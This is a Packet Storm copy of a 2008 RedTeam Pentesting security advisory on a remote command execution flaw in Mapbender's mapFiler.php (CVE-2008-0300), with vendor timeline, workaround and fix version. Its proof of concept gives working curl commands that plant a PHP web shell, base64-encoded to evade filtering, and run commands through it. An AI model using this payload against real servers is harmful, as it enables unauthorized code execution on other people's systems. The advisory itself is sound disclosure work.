what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

rt-sa-2008-001.txt

rt-sa-2008-001.txt
Posted Mar 13, 2008
Site redteam-pentesting.de

Mapbender versions 2.4.4 and below suffer from a remote code execution vulnerability in mapFiler.php.

tags | exploit, remote, php, code execution
advisories | CVE-2008-0300
SHA-256 | a132aed03d3a80930259d24b966c5910b0214316d9076283968881deaad62ee9

rt-sa-2008-001.txt

Change Mirror Download
Advisory: Remote Command Execution in Mapbender

During a penetration test RedTeam Pentesting discovered a remote command
execution vulnerability in Mapbender. An unauthorized user can create
arbitrary PHP-files on the Mapbender webserver, which can later be
executed.


Details
=======

Product: Mapbender
Affected Versions: 2.4 - 2.4.4 (verified), probably older versions, too
Fixed Versions: 2.4.5rc1
Vulnerability Type: Remote Command Execution
Security-Risk: high
Vendor-URL: http://www.mapbender.org
Vendor-Status: informed, fixed version released
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2008-001.php
Advisory-Status: public
CVE: CVE-2008-0300
CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0300


Introduction
============

"Mapbender is the software and portal site for geodata management of OGC
OWS architectures. The software provides web technology for managing
spatial data services implemented in PHP, JavaScript and XML. It
provides a data model and interfaces for displaying, navigating and
querying OGC compliant map services. The Mapbender framework furthermore
provides authentication and authorization services, OWS proxy
functionality, management interfaces for user, group and service
administration in WebGIS projects."

(from the vendor's homepage)


More Details
============

The Mapbender software comes with a script mapFiler.php, which is
located at

http://www.example.com/tools/mapFiler.php

Due to the lack of input filtering, an attacker is able to enter valid PHP
code in the "factor" input field. This PHP code is written into a newly
generated file in the Mapbender webfolder. Therefore, it is possible to
remotely execute the code by requesting the new file.


Proof of Concept
================

For this example, the user account which is used to execute php scripts
needs permissions to write files to the tmp directory. Any other directory
with write permissions in the web root can be used, too.

Calling

curl -d "myLocation=../tmp/.&factor=<?php passthru(base64_decode(
\$_GET[c])) ?>.php&button=let's go" http://www.example.com/
tools/mapFiler.php

creates a file

tmp/_\<\?php\ passthru\(base64_decode\(\$_GET\[c\]\)\)\ \?\>.php.

with the content:

#Modified by MapbenderTools
#Date: 14.01.2008
#Factor: <?php passthru(base64_decode($_GET[c])) ?>.php

This script can then be executed by calling:

curl -g 'http://www.example.com/tmp/_<%3fphp%20passthru(base64_decode(
$_GET[c]))%20%3f>.php.?c=aWQ'

It returns:

#Modified by MapbenderTools
#Date: 15.01.2008
#Factor: uid=33(www-data) gid=33(www-data) groups=33(www-data)
.php

Commands sent to the script have to be base64 encoded and will be decoded by the
PHP code, to avoid possible URL filtering on the victim's side.


Workaround
==========

If not needed, the mapfiler.php script can be removed. Otherwise, it can
be protected by using an .htaccess directive.


Fix
===

The vulnerability is fixed in release 2.4.5 rc1.


Security Risk
=============

The security risk is rated as high. An attacker can execute arbitrary
commands remotely with the rights of the webserver.


History
=======

2007-12-14 Problem identified during a penetration test
2008-01-09 Customer approves contacting of Mapbender developers
2008-01-17 CVE number assigned
2008-03-10 Vendor releases fixed version
2008-03-11 Advisory released


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting is offering individual penetration tests, short
pentests, performed by a team of specialised IT-security experts.
Hereby, security weaknesses in company networks or products are
uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at
http://www.redteam-pentesting.de.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close